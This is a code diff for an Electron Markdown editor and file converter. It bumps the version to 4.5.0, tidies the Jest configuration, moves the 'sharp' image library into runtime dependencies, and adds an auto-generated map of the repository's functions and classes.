@@ -22,7 +19,7 @@ module.exports = {
    '!src/main.js', // Main process needs electron-mock
    '!src/renderer.js', // Large renderer file with duplicate declarations
    '!src/preload.js', // Electron preload requires contextBridge
-    '!**/node_modules/**'
+    '!**/node_modules/**',
  ],
  // Coverage thresholds (raised with expanded test suite)
@@ -31,8 +28,8 @@ module.exports = {
      branches: 10,
      functions: 15,
      lines: 15,
-      statements: 15
+      statements: 15,
-    }
+    },
  },
  // Transform settings (no transpilation needed for vanilla JS)
@@ -45,10 +42,11 @@ module.exports = {
  setupFilesAfterEnv: ['<rootDir>/tests/setup.js'],
  // Ignore patterns
-  testPathIgnorePatterns: [
+  testPathIgnorePatterns: ['/node_modules/', '/dist/'],
-    '/node_modules/',
+
-    '/dist/'
+  // Keep the haste map / snapshot scanner out of build output — electron-builder's
-  ],
+  // .snap (Squashfs) artifacts otherwise register as obsolete Jest snapshots.
  modulePathIgnorePatterns: ['/dist/'],
  // Verbose output
  verbose: true,
@@ -57,5 +55,5 @@ module.exports = {
  clearMocks: true,
  // Reset modules between tests
-  resetModules: true
+  resetModules: true,
 };
@@ -1,12 +1,12 @@
 {
  "name": "markdown-converter",
-  "version": "4.4.4",
+  "version": "4.5.0",
  "lockfileVersion": 3,
  "requires": true,
  "packages": {
    "": {
      "name": "markdown-converter",
-      "version": "4.4.4",
+      "version": "4.5.0",
      "license": "MIT",
      "dependencies": {
        "@codemirror/autocomplete": "^6.20.1",
@@ -32,6 +32,7 @@
        "ffmpeg-static": "^5.3.0",
        "highlight.js": "^11.11.1",
        "html2pdf.js": "^0.14.0",
        "jszip": "^3.10.1",
        "marked": "^17.0.3",
        "marked-footnote": "^1.4.0",
        "marked-highlight": "^2.2.3",
@@ -40,6 +41,7 @@
        "pdfjs-dist": "^5.5.207",
        "pdfkit": "^0.17.2",
        "pizzip": "^3.2.0",
        "sharp": "^0.34.3",
        "simple-git": "^3.32.3",
        "tslib": "^2.8.1"
      },
@@ -53,8 +55,7 @@
        "eslint-plugin-prettier": "^5.5.4",
        "jest": "^30.2.0",
        "jest-environment-jsdom": "^30.2.0",
-        "prettier": "^3.7.4",
+        "prettier": "^3.7.4"
        "sharp": "^0.34.3"
      }
    },
    "node_modules/@antfu/install-pkg": {
@@ -1424,7 +1425,6 @@
      "version": "1.9.1",
      "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.9.1.tgz",
      "integrity": "sha512-VYi5+ZVLhpgK4hQ0TAjiQiZ6ol0oe4mBx7mVv7IflsiEp0OWoVsp/+f9Vc1hOhE0TtkORVrI1GvzyreqpgWtkA==",
      "dev": true,
      "license": "MIT",
      "optional": true,
      "dependencies": {
@@ -1728,7 +1728,6 @@
      "version": "1.1.0",
      "resolved": "https://registry.npmjs.org/@img/colour/-/colour-1.1.0.tgz",
      "integrity": "sha512-Td76q7j57o/tLVdgS746cYARfSyxk8iEfRxewL9h4OMzYhbW4TAcppl0mT4eyqXddh6L/jwoM75mo7ixa/pCeQ==",
      "dev": true,
      "license": "MIT",
      "engines": {
        "node": ">=18"
@@ -1741,7 +1740,6 @@
      "cpu": [
        "arm64"
      ],
      "dev": true,
      "license": "Apache-2.0",
      "optional": true,
      "os": [
@@ -1764,7 +1762,6 @@
      "cpu": [
        "x64"
      ],
      "dev": true,
      "license": "Apache-2.0",
      "optional": true,
      "os": [
@@ -1787,7 +1784,6 @@
      "cpu": [
        "arm64"
      ],
      "dev": true,
      "license": "LGPL-3.0-or-later",
      "optional": true,
      "os": [
@@ -1804,7 +1800,6 @@
      "cpu": [
        "x64"
      ],
      "dev": true,
      "license": "LGPL-3.0-or-later",
      "optional": true,
      "os": [
@@ -1821,7 +1816,6 @@
      "cpu": [
        "arm"
      ],
      "dev": true,
      "license": "LGPL-3.0-or-later",
      "optional": true,
      "os": [
@@ -1838,7 +1832,6 @@
      "cpu": [
        "arm64"
      ],
      "dev": true,
      "license": "LGPL-3.0-or-later",
      "optional": true,
      "os": [
@@ -1855,7 +1848,6 @@
      "cpu": [
        "ppc64"
      ],
      "dev": true,
      "license": "LGPL-3.0-or-later",
      "optional": true,
      "os": [
@@ -1872,7 +1864,6 @@
      "cpu": [
        "riscv64"
      ],
      "dev": true,
      "license": "LGPL-3.0-or-later",
      "optional": true,
      "os": [
@@ -1889,7 +1880,6 @@
      "cpu": [
        "s390x"
      ],
      "dev": true,
      "license": "LGPL-3.0-or-later",
      "optional": true,
      "os": [
@@ -1906,7 +1896,6 @@
      "cpu": [
        "x64"
      ],
      "dev": true,
      "license": "LGPL-3.0-or-later",
      "optional": true,
      "os": [
@@ -1923,7 +1912,6 @@
      "cpu": [
        "arm64"
      ],
      "dev": true,
      "license": "LGPL-3.0-or-later",
      "optional": true,
      "os": [
@@ -1940,7 +1928,6 @@
      "cpu": [
        "x64"
      ],
      "dev": true,
      "license": "LGPL-3.0-or-later",
      "optional": true,
      "os": [
@@ -1957,7 +1944,6 @@
      "cpu": [
        "arm"
      ],
      "dev": true,
      "license": "Apache-2.0",
      "optional": true,
      "os": [
@@ -1980,7 +1966,6 @@
      "cpu": [
        "arm64"
      ],
      "dev": true,
      "license": "Apache-2.0",
      "optional": true,
      "os": [
@@ -2003,7 +1988,6 @@
      "cpu": [
        "ppc64"
      ],
      "dev": true,
      "license": "Apache-2.0",
      "optional": true,
      "os": [
@@ -2026,7 +2010,6 @@
      "cpu": [
        "riscv64"
      ],
      "dev": true,
      "license": "Apache-2.0",
      "optional": true,
      "os": [
@@ -2049,7 +2032,6 @@
      "cpu": [
        "s390x"
      ],
      "dev": true,
      "license": "Apache-2.0",
      "optional": true,
      "os": [
@@ -2072,7 +2054,6 @@
      "cpu": [
        "x64"
      ],
      "dev": true,
      "license": "Apache-2.0",
      "optional": true,
      "os": [
@@ -2095,7 +2076,6 @@
      "cpu": [
        "arm64"
      ],
      "dev": true,
      "license": "Apache-2.0",
      "optional": true,
      "os": [
@@ -2118,7 +2098,6 @@
      "cpu": [
        "x64"
      ],
      "dev": true,
      "license": "Apache-2.0",
      "optional": true,
      "os": [
@@ -2141,7 +2120,6 @@
      "cpu": [
        "wasm32"
      ],
      "dev": true,
      "license": "Apache-2.0 AND LGPL-3.0-or-later AND MIT",
      "optional": true,
      "dependencies": {
@@ -2161,7 +2139,6 @@
      "cpu": [
        "arm64"
      ],
      "dev": true,
      "license": "Apache-2.0 AND LGPL-3.0-or-later",
      "optional": true,
      "os": [
@@ -2181,7 +2158,6 @@
      "cpu": [
        "ia32"
      ],
      "dev": true,
      "license": "Apache-2.0 AND LGPL-3.0-or-later",
      "optional": true,
      "os": [
@@ -2201,7 +2177,6 @@
      "cpu": [
        "x64"
      ],
      "dev": true,
      "license": "Apache-2.0 AND LGPL-3.0-or-later",
      "optional": true,
      "os": [
@@ -6670,7 +6645,6 @@
      "version": "2.1.2",
      "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz",
      "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==",
      "dev": true,
      "license": "Apache-2.0",
      "engines": {
        "node": ">=8"
@@ -12142,7 +12116,6 @@
      "version": "0.34.5",
      "resolved": "https://registry.npmjs.org/sharp/-/sharp-0.34.5.tgz",
      "integrity": "sha512-Ou9I5Ft9WNcCbXrU9cMgPBcCK8LiwLqcbywW3t4oDV37n1pzpuNLsYiAV8eODnjbtQlSDwZ2cUEeQz4E54Hltg==",
      "dev": true,
      "hasInstallScript": true,
      "license": "Apache-2.0",
      "dependencies": {
@@ -12187,7 +12160,6 @@
      "version": "7.7.4",
      "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz",
      "integrity": "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==",
      "dev": true,
      "license": "ISC",
      "bin": {
        "semver": "bin/semver.js"
@@ -1,13 +1,13 @@
 {
  "name": "markdown-converter",
-  "version": "4.4.4",
+  "version": "4.5.0",
  "description": "Professional Markdown editor and universal file converter with PDF editing, batch processing, and syntax highlighting",
  "main": "src/main.js",
  "scripts": {
    "start": "electron .",
-    "test": "jest",
+    "test": "cross-env NODE_OPTIONS=--experimental-vm-modules jest",
-    "test:watch": "jest --watch",
+    "test:watch": "cross-env NODE_OPTIONS=--experimental-vm-modules jest --watch",
-    "test:coverage": "jest --coverage",
+    "test:coverage": "cross-env NODE_OPTIONS=--experimental-vm-modules jest --coverage",
    "lint": "eslint src tests",
    "lint:fix": "eslint src tests --fix",
    "format": "prettier --write src tests",
@@ -52,8 +52,7 @@
    "eslint-plugin-prettier": "^5.5.4",
    "jest": "^30.2.0",
    "jest-environment-jsdom": "^30.2.0",
-    "prettier": "^3.7.4",
+    "prettier": "^3.7.4"
    "sharp": "^0.34.3"
  },
  "dependencies": {
    "@codemirror/autocomplete": "^6.20.1",
@@ -79,6 +78,7 @@
    "ffmpeg-static": "^5.3.0",
    "highlight.js": "^11.11.1",
    "html2pdf.js": "^0.14.0",
    "jszip": "^3.10.1",
    "marked": "^17.0.3",
    "marked-footnote": "^1.4.0",
    "marked-highlight": "^2.2.3",
@@ -87,6 +87,7 @@
    "pdfjs-dist": "^5.5.207",
    "pdfkit": "^0.17.2",
    "pizzip": "^3.2.0",
    "sharp": "^0.34.3",
    "simple-git": "^3.32.3",
    "tslib": "^2.8.1"
  },
@@ -113,7 +114,11 @@
      "package.json"
    ],
    "asarUnpack": [
-      "node_modules/ffmpeg-static/**"
+      "node_modules/ffmpeg-static/**",
      "node_modules/sharp/**",
      "node_modules/@img/**",
      "node_modules/@napi-rs/**",
      "assets/fonts/**"
    ],
    "extraFiles": [],
    "fileAssociations": [
@@ -0,0 +1,604 @@
 # Repository Structure Map
 Auto-generated by `~/.claude-shared/scripts/repo-map.sh` (universal-ctags).
 Signatures only — classes, functions, methods, interfaces, enums, types, namespaces, traits.
 Regenerate after structural changes. Languages: `JavaScript,Sh`.
 ```
 scripts/download-tools.js:
  L22  method  extract (PANDOC_CONFIG.linux)
  L36  method  extract (PANDOC_CONFIG.win32)
  L51  method  extract (PANDOC_CONFIG.darwin)
  L63  function  download
  L70  function  get (download)
  L109  function  downloadPandoc
 scripts/generate-icons.js:
  L17  function  generateIcons
 src/adapters/electron/fs.js:
  L20  method  readFile (electronFsAdapter)
  L30  method  writeFile (electronFsAdapter)
  L39  method  deleteFile (electronFsAdapter)
  L48  method  ensureDir (electronFsAdapter)
  L57  method  listDirectory (electronFsAdapter)
  L77  method  exists (electronFsAdapter)
  L86  method  isDirectory (electronFsAdapter)
  L96  method  copy (electronFsAdapter)
  L106  method  move (electronFsAdapter)
 src/analytics/analytics-panel.js:
  L7  function  showAnalyticsModal
  L105  function  escHandler (showAnalyticsModal)
  L116  function  escapeHtml
 src/analytics/writing-analytics.js:
  L77  function  countSyllables
  L83  function  extractWords
  L87  function  getReadabilityLabel
  L95  function  analyze
 src/command-palette.js:
  L1  class  CommandPalette
  L2  method  constructor (CommandPalette)
  L12  method  register (CommandPalette)
  L16  method  open (CommandPalette)
  L24  method  close (CommandPalette)
  L28  method  isOpen (CommandPalette)
  L32  method  setupEventListeners (CommandPalette)
  L61  method  renderResults (CommandPalette)
  L90  method  highlightMatch (CommandPalette)
  L96  method  updateSelection (CommandPalette)
  L105  method  executeSelected (CommandPalette)
 src/editor/codemirror-setup.js:
  L46  function  createEditor
  L61  function  onChange (createEditor)
  L118  function  getLanguageExtension
  L120  method  javascript (getLanguageExtension.loaders)
  L124  method  html (getLanguageExtension.loaders)
  L128  method  css (getLanguageExtension.loaders)
  L132  method  json (getLanguageExtension.loaders)
  L136  method  python (getLanguageExtension.loaders)
 src/main.js:
  L18  function  getPandocPath
  L36  function  getFFmpegPath
  L55  function  sanitizeErrorMessage
  L64  function  createRateLimiter
  L66  function  canProceed (createRateLimiter)
  L83  function  validatePath
  L136  function  resolveWritablePath
  L181  function  isPathAccessible
  L203  function  convertDataToMarkdown
  L225  function  runPandocCmd
  L247  function  parseCommand
  L282  method  get (store)
  L291  method  set (store)
  L488  function  checkPandocAvailability
  L500  function  createWindow
  L586  function  buildRecentFilesMenu
  L599  method  click (buildRecentFilesMenu.anonymousObjectc5643c890c05)
  L637  function  getRecentFiles
  L647  function  createMenu
  L872  method  click (createMenu.anonymousObjectc5643c890e05.anonymousObjectc5643c894505)
  L1118  method  click (createMenu.anonymousObjectc5643c895205.anonymousObjectc5643c897e05)
  L1279  method  click (createMenu.anonymousObjectc5643c899305.anonymousObjectc5643c89a505)
  L1351  function  showAboutDialog
  L1452  function  showDependenciesDialog
  L1564  function  openPDFFile
  L1583  function  openFile
  L1622  function  openPdfFile
  L1645  function  saveAsFile
  L1664  function  exportFile
  L1673  function  showExportOptionsDialog
  L1676  function  showBatchConversionDialog
  L1681  function  selectWordTemplate
  L1705  function  showTemplateSettings
  L1902  function  processDynamicFields
  L1921  function  setDocxPageSize
  L1980  function  addHeaderFooterToDocx
  L2111  function  exportWordWithTemplate
  L2153  function  exportPDFViaWordTemplate
  L2231  function  showUniversalConverterDialog
  L2236  function  showPDFEditorDialog
  L2246  function  checkConverterAvailable
  L2370  function  collectFiles
  L2464  function  convertWithLibreOffice
  L2498  function  convertWithImageMagick
  L2507  function  convertWithFFmpeg
  L2515  function  convertWithPandoc
  L2521  function  performExportWithOptions
  L2805  function  tryPdfFallback
  L2882  function  showExportSuccess
  L2892  function  exportWithPandoc
  L2964  function  exportToHTML
  L3080  function  exportToPDFElectron
  L3224  function  exportSpreadsheet
  L3233  function  importDocument
  L3355  function  setTheme
  L3536  function  extractTablesFromMarkdown
  L3574  function  performBatchConversion
  L3597  function  findMarkdownFiles (performBatchConversion)
  L3636  function  processNextFile (performBatchConversion)
  L3970  function  handleCLIConversion
  L3997  function  showConversionDialog
  L4064  function  performCLIConversion
  L4098  function  buildPandocCommand
  L4319  function  openFileFromPath
  L4394  function  openAsciiGenerator
  L4426  function  openTableGenerator
  L4724  function  loadSnippets
  L4734  function  saveSnippetsFile
 src/main/GitOperations.js:
  L3  function  getGitInstance
  L7  function  getStatus
  L16  function  stage
  L26  function  commit
  L35  function  log
 src/main/PDFOperations.js:
  L5  function  parsePageRanges
  L28  function  hexToRgb
  L39  function  pdfMerge
  L59  function  pdfSplit
  L126  function  pdfCompress
  L152  function  pdfRotate
  L182  function  pdfDeletePages
  L208  function  pdfReorder
  L233  function  pdfWatermark
  L319  function  pdfEncrypt
  L353  function  pdfDecrypt
  L370  function  pdfSetPermissions
  L404  function  executeOperation
  L431  function  getPageCount
 src/plugins/built-in/_sample/index.js:
  L3  class  SamplePlugin
  L4  method  init (SamplePlugin)
 src/plugins/built-in/writing-studio/goal-tracker.js:
  L3  class  GoalTracker
  L7  method  constructor (GoalTracker)
  L11  method  _getHistory (GoalTracker)
  L16  method  _setHistory (GoalTracker)
  L20  method  _setHistoryDay (GoalTracker)
  L26  method  addWords (GoalTracker)
  L37  method  getDailyProgress (GoalTracker)
  L44  method  getStreak (GoalTracker)
  L61  method  getLast30Days (GoalTracker)
  L74  method  getWeeklyTotal (GoalTracker)
 src/plugins/built-in/writing-studio/index.js:
  L7  class  WritingStudioPlugin
  L8  method  init (WritingStudioPlugin)
  L34  method  _registerCommands (WritingStudioPlugin)
  L112  method  _registerStatusBar (WritingStudioPlugin)
  L123  method  deactivate (WritingStudioPlugin)
  L127  method  getEngines (WritingStudioPlugin)
 src/plugins/built-in/writing-studio/panels/goals-panel.js:
  L1  function  renderGoalsPanel
 src/plugins/built-in/writing-studio/panels/manuscript-panel.js:
  L1  function  renderManuscriptPanel
 src/plugins/built-in/writing-studio/panels/proofread-panel.js:
  L1  function  renderProofreadPanel
  L41  method  callback (anonymousObject39a0f0110105)
  L50  function  renderIssues
 src/plugins/built-in/writing-studio/panels/snapshots-panel.js:
  L1  function  renderSnapshotsPanel
 src/plugins/built-in/writing-studio/project-manager.js:
  L1  class  ProjectManager
  L5  method  constructor (ProjectManager)
  L9  method  createProject (ProjectManager)
  L21  method  loadProject (ProjectManager)
  L27  method  _saveProject (ProjectManager)
  L31  method  addChapter (ProjectManager)
  L38  method  updateChapter (ProjectManager)
  L45  method  compileManuscript (ProjectManager)
  L56  method  getStats (ProjectManager)
 src/plugins/built-in/writing-studio/snapshot-manager.js:
  L1  class  SnapshotManager
  L6  method  constructor (SnapshotManager)
  L11  method  _getAll (SnapshotManager)
  L16  method  _saveAll (SnapshotManager)
  L20  method  create (SnapshotManager)
  L34  method  list (SnapshotManager)
  L38  method  getById (SnapshotManager)
  L42  method  restore (SnapshotManager)
  L48  method  delete (SnapshotManager)
  L53  method  diff (SnapshotManager)
  L71  method  prune (SnapshotManager)
 src/plugins/built-in/writing-studio/sprint-engine.js:
  L1  class  SprintEngine
  L6  method  constructor (SprintEngine)
  L14  method  start (SprintEngine)
  L22  method  stop (SprintEngine)
  L33  method  tick (SprintEngine)
  L43  method  isActive (SprintEngine)
  L47  method  getRemaining (SprintEngine)
 src/plugins/event-bus.js:
  L1  class  EventBus
  L2  method  constructor (EventBus)
  L6  method  on (EventBus)
  L13  method  off (EventBus)
  L25  method  emit (EventBus)
  L37  method  hasHandler (EventBus)
 src/plugins/plugin-api.js:
  L1  class  PluginAPI
  L7  method  init (PluginAPI)
  L12  method  activate (PluginAPI)
  L15  method  deactivate (PluginAPI)
  L18  method  getManifest (PluginAPI)
 src/plugins/plugin-context.js:
  L1  class  PluginContext
  L14  method  constructor (PluginContext)
  L23  method  register (PluginContext.constructor.commands)
  L24  function  safeHandler (PluginContext.constructor.commands.register)
  L65  method  registerPreHook (PluginContext.constructor.exports)
  L68  method  registerPostHook (PluginContext.constructor.exports)
 src/plugins/plugin-loader.js:
  L4  class  PluginLoader
  L8  method  constructor (PluginLoader)
  L17  method  discoverPlugins (PluginLoader)
  L66  method  validateManifest (PluginLoader)
 src/plugins/plugin-registry.js:
  L4  class  PluginRegistry
  L5  method  constructor (PluginRegistry)
  L15  method  register (PluginRegistry)
  L49  method  getPlugin (PluginRegistry)
  L53  method  getAll (PluginRegistry)
  L57  method  activate (PluginRegistry)
  L68  method  deactivate (PluginRegistry)
 src/plugins/settings-store.js:
  L1  class  SettingsStore
  L5  method  constructor (SettingsStore)
  L9  method  get (SettingsStore)
  L13  method  set (SettingsStore)
  L17  method  onChanged (SettingsStore)
 src/preload.js:
  L257  method  send (anonymousObjectb0724fcb0105)
  L271  method  invoke (anonymousObjectb0724fcb0105)
  L290  method  on (anonymousObjectb0724fcb0105)
  L292  function  subscription (anonymousObjectb0724fcb0105.on)
  L310  method  once (anonymousObjectb0724fcb0105)
  L322  method  removeAllListeners (anonymousObjectb0724fcb0105)
 src/print-preview.js:
  L1  class  PrintPreview
  L2  method  constructor (PrintPreview)
  L9  method  open (PrintPreview)
  L20  method  close (PrintPreview)
  L28  method  setupEventListeners (PrintPreview)
  L53  method  updateScaleLabel (PrintPreview)
  L59  method  updatePreview (PrintPreview)
  L111  method  refreshPreview (PrintPreview)
  L117  method  getOptions (PrintPreview)
  L130  method  executePrint (PrintPreview)
 src/renderer.js:
  L19  method  send (window.electronAPI)
  L22  method  invoke (window.electronAPI)
  L25  method  on (window.electronAPI)
  L26  function  subscription (window.electronAPI.on)
  L32  method  once (window.electronAPI)
  L35  method  removeAllListeners (window.electronAPI)
  L81  function  getSidebarManager
  L85  function  getRenderTemplatesPanel
  L90  function  getRenderExplorerPanel
  L95  function  getRenderGitPanel
  L99  function  getRenderSnippetsPanel
  L105  function  getRenderOutlinePanel
  L110  function  getReplPanel
  L114  function  getCommandPalette
  L118  function  getPrintPreview
  L122  function  getCreateWelcomeContent
  L127  function  getZenMode
  L132  function  getShowAnalyticsModal
  L137  function  ensureToastContainer
  L147  function  notifyUser
  L159  function  dismiss (notifyUser)
  L173  method  highlight (anonymousObject71555c7b0405)
  L202  method  start (anonymousObject71555c7b0705.anonymousObject71555c7b0805)
  L205  method  tokenizer (anonymousObject71555c7b0705.anonymousObject71555c7b0805)
  L221  method  renderer (anonymousObject71555c7b0705.anonymousObject71555c7b0805)
  L241  function  plantumlEncode (notifyUser)
  L249  function  scopeCSS (notifyUser)
  L271  class  TabManager (notifyUser)
  L272  method  constructor (notifyUser.TabManager)
  L306  method  setupEventListeners (notifyUser.TabManager)
  L354  method  createNewTab (notifyUser.TabManager)
  L379  method  createPdfTab (notifyUser.TabManager)
  L405  method  createPdfTabElements (notifyUser.TabManager)
  L436  method  setupPdfTabEvents (notifyUser.TabManager)
  L503  method  loadPdfInTab (notifyUser.TabManager)
  L528  method  renderPdfPageInTab (notifyUser.TabManager)
  L555  method  createTabElements (notifyUser.TabManager)
  L580  method  onChange (anonymousObject71555c7b0d05)
  L602  method  onUpdate (anonymousObject71555c7b0d05)
  L614  method  switchToTab (notifyUser.TabManager)
  L641  method  switchToNextTab (notifyUser.TabManager)
  L647  method  closeTab (notifyUser.TabManager)
  L692  method  updateTabBar (notifyUser.TabManager)
  L718  method  updateUI (notifyUser.TabManager)
  L748  method  saveCurrentTabState (notifyUser.TabManager)
  L756  method  restoreTabState (notifyUser.TabManager)
  L765  method  focusActiveEditor (notifyUser.TabManager)
  L771  method  updatePreview (notifyUser.TabManager)
  L800  method  _hash (notifyUser.TabManager)
  L809  method  _renderPreview (notifyUser.TabManager)
  L963  function  onerror (img)
  L997  method  updatePreviewVisibility (notifyUser.TabManager)
  L1010  method  updateLineNumbers (notifyUser.TabManager)
  L1015  method  updateWordCount (notifyUser.TabManager)
  L1031  method  updateCursorPosition (notifyUser.TabManager)
  L1038  method  updateFilePath (notifyUser.TabManager)
  L1046  method  updateBreadcrumb (notifyUser.TabManager)
  L1054  method  setupEditorEvents (notifyUser.TabManager)
  L1058  method  handleEditorInput (notifyUser.TabManager)
  L1073  method  startAutoSave (notifyUser.TabManager)
  L1081  method  stopAutoSave (notifyUser.TabManager)
  L1087  method  performAutoSave (notifyUser.TabManager)
  L1103  method  showAutoSaveIndicator (notifyUser.TabManager)
  L1119  method  addToRecentFiles (notifyUser.TabManager)
  L1135  method  getRecentFiles (notifyUser.TabManager)
  L1145  method  setupToolbarEvents (notifyUser.TabManager)
  L1215  method  wrapSelection (notifyUser.TabManager)
  L1233  method  insertAtLineStart (notifyUser.TabManager)
  L1249  method  insertTable (notifyUser.TabManager)
  L1259  method  insertCodeBlock (notifyUser.TabManager)
  L1277  method  insertHorizontalRule (notifyUser.TabManager)
  L1280  method  setupFindEvents (notifyUser.TabManager)
  L1350  method  performFind (notifyUser.TabManager)
  L1384  method  findNext (notifyUser.TabManager)
  L1390  method  findPrevious (notifyUser.TabManager)
  L1399  method  highlightMatch (notifyUser.TabManager)
  L1430  method  replaceOne (notifyUser.TabManager)
  L1454  method  replaceAll (notifyUser.TabManager)
  L1485  method  clearFindHighlights (notifyUser.TabManager)
  L1492  method  checkForLargeFile (notifyUser.TabManager)
  L1508  method  openFile (notifyUser.TabManager)
  L1555  method  getEditorContent (notifyUser.TabManager)
  L1564  method  setEditorContent (notifyUser.TabManager)
  L1579  method  insertAtCursor (notifyUser.TabManager)
  L1594  method  getSelection (notifyUser.TabManager)
  L1602  method  replaceSelection (notifyUser.TabManager)
  L1616  method  getCurrentContent (notifyUser.TabManager)
  L1620  method  getCurrentFilePath (notifyUser.TabManager)
  L1735  method  render (anonymousObject71555c7b2d05)
  L1788  method  registerIndicator (anonymousObject71555c7b3105.statusBar)
  L1881  function  onload (reader)
  L2032  method  onChange (anonymousObject71555c7b3405)
  L2040  method  onUpdate (anonymousObject71555c7b3405)
  L2164  function  applyCustomPreviewCSS (notifyUser)
  L2174  function  triggerLoadCustomCSS (notifyUser)
  L2188  function  triggerClearCustomCSS (notifyUser)
  L2202  function  updateFontSizes (notifyUser)
  L2234  function  openPrintPreviewDialog (notifyUser)
  L2255  function  showExportDialog (notifyUser)
  L2269  function  hideExportDialog (notifyUser)
  L2273  function  initializeExportForm (notifyUser)
  L2343  function  collectExportOptions (notifyUser)
  L2444  function  loadExportProfiles (notifyUser)
  L2456  function  saveExportProfiles (notifyUser)
  L2459  function  populateProfileDropdown (notifyUser)
  L2476  function  saveCurrentProfile (notifyUser)
  L2511  function  loadProfile (notifyUser)
  L2545  function  deleteSelectedProfile (notifyUser)
  L2679  function  onchange (input)
  L2776  function  showBatchDialog (notifyUser)
  L2796  function  hideBatchDialog (notifyUser)
  L2799  function  updateBatchProgress (notifyUser)
  L2816  function  validateBatchForm (notifyUser)
  L3375  function  showUniversalConverterDialog (notifyUser)
  L3383  function  updateConverterFormats (notifyUser)
  L3423  function  updateConverterAdvancedOptions (notifyUser)
  L3434  function  collectConverterAdvancedOptions (notifyUser)
  L3645  function  showPDFEditorDialog (notifyUser)
  L3769  function  hidePDFEditorDialog (notifyUser)
  L3780  function  updateMergeFilesList (notifyUser)
  L4107  function  getPDFStatusElement (notifyUser)
  L4110  function  showPDFStatus (notifyUser)
  L4117  function  clearPDFStatus (notifyUser)
  L4124  function  showPDFValidationMessage (notifyUser)
  L4135  function  processPDFOperation (notifyUser)
  L4379  function  initMathSupport (notifyUser)
  L4391  function  onload (katexJS)
  L4396  function  onload (autoRenderJS)
  L4417  function  openHeaderFooterDialog (notifyUser)
  L4425  function  closeHeaderFooterDialog (notifyUser)
  L4430  function  openFieldPickerDialog (notifyUser)
  L4436  function  closeFieldPickerDialog (notifyUser)
  L4477  function  toggleConfigContent (notifyUser)
  L4488  function  saveHeaderFooterSettings (notifyUser)
  L4509  function  browseForLogo (notifyUser)
  L4519  function  clearLogo (notifyUser)
  L4528  function  insertDynamicField (notifyUser)
  L4594  function  showTableGenerator (notifyUser)
  L4605  function  hideTableGenerator (notifyUser)
  L4608  function  generateTablePreview (notifyUser)
  L4616  function  generateMarkdownTable (notifyUser)
  L4685  function  insertGeneratedTable (notifyUser)
  L4742  function  showASCIIGenerator (notifyUser)
  L4753  function  hideASCIIGenerator (notifyUser)
  L4756  function  switchASCIIMode (notifyUser)
  L4784  function  generateASCIIPreview (notifyUser)
  L4802  function  textToASCII (notifyUser)
  L5238  function  createASCIIBox (notifyUser)
  L5312  function  getASCIITemplate (notifyUser)
  L5469  function  loadASCIITemplate (notifyUser)
  L5473  function  insertASCIIArt (notifyUser)
  L5523  function  anonymousFunction71555c7bd300
  L5603  function  getPdfjsLib (notifyUser)
  L5612  function  openPdfFile (notifyUser)
  L5627  function  renderPdfPage (notifyUser)
  L5733  function  closePdfViewer (notifyUser)
  L5783  function  openPdfEditorDialog (notifyUser)
  L5831  function  initPaneResizer (notifyUser)
  L5920  function  onPDFFileSelected (notifyUser)
  L5935  function  loadPDFThumbnails (notifyUser)
  L5966  function  renderThumbnailGrid (notifyUser)
  L6060  function  renderThumbnail (notifyUser)
  L6085  function  syncRotateInput (notifyUser)
  L6094  function  syncDeleteInput (notifyUser)
  L6103  function  syncReorderInput (notifyUser)
 src/repl/repl-panel.js:
  L1  class  ReplPanel
  L2  method  constructor (ReplPanel)
  L8  method  setupEventListeners (ReplPanel)
  L13  method  toggle (ReplPanel)
  L19  method  show (ReplPanel)
  L25  method  clear (ReplPanel)
  L29  method  appendOutput (ReplPanel)
  L42  method  escapeHtml (ReplPanel)
 src/sidebar/explorer-panel.js:
  L1  function  renderExplorerPanel
  L40  function  renderTree
  L79  function  getFileIcon
 src/sidebar/git-panel.js:
  L1  function  renderGitPanel
  L24  function  loadGitStatus (renderGitPanel)
 src/sidebar/outline-panel.js:
  L6  function  renderOutlinePanel
  L18  function  parseHeadings (renderOutlinePanel)
  L36  function  findActiveHeading (renderOutlinePanel)
  L48  function  renderHeadings (renderOutlinePanel)
  L89  function  escapeHtml (renderOutlinePanel)
  L95  function  refresh (renderOutlinePanel)
  L100  function  setActiveHeading (renderOutlinePanel)
 src/sidebar/sidebar-manager.js:
  L1  class  SidebarManager
  L2  method  constructor (SidebarManager)
  L11  method  setupEventListeners (SidebarManager)
  L20  method  registerPanel (SidebarManager)
  L24  method  togglePanel (SidebarManager)
  L32  method  expand (SidebarManager)
  L45  method  collapse (SidebarManager)
 src/sidebar/snippets-panel.js:
  L1  function  renderSnippetsPanel
  L14  function  loadSnippets (renderSnippetsPanel)
  L19  function  renderList (renderSnippetsPanel)
 src/sidebar/templates-panel.js:
  L18  function  renderTemplatesPanel
 src/utils/ModalManager.js:
  L5  class  ModalManager
  L16  method  constructor (ModalManager)
  L31  method  init (ModalManager)
  L47  method  setupCloseTriggers (ModalManager)
  L51  function  handler (ModalManager.setupCloseTriggers)
  L65  function  handler
  L74  method  getFocusableElements (ModalManager)
  L89  method  trapFocus (ModalManager)
  L111  method  handleKeydown (ModalManager)
  L119  method  open (ModalManager)
  L141  function  keydownHandler (ModalManager.open)
  L164  method  close (ModalManager)
  L182  function  addHidden (ModalManager.close)
  L188  function  onTransitionEnd (ModalManager.close)
  L223  method  isOpen (ModalManager)
  L227  method  destroy (ModalManager)
 src/welcome.js:
  L1  function  createWelcomeContent
 src/wordTemplateExporter.js:
  L11  class  WordTemplateExporter
  L12  method  constructor (WordTemplateExporter)
  L24  method  preprocessMarkdownForWordExport (WordTemplateExporter)
  L33  function  flush (WordTemplateExporter.preprocessMarkdownForWordExport)
  L59  function  stripArtifacts (WordTemplateExporter.preprocessMarkdownForWordExport)
 src/zen-mode.js:
  L10  class  ZenMode
  L14  method  constructor (ZenMode)
  L23  method  activate (ZenMode)
  L65  method  deactivate (ZenMode)
  L101  method  toggle (ZenMode)
  L109  method  _applyTypewriterBehavior (ZenMode)
  L111  function  scrollFn (ZenMode._applyTypewriterBehavior)
  L151  method  _createHUD (ZenMode)
  L169  method  _updateHUD (ZenMode)
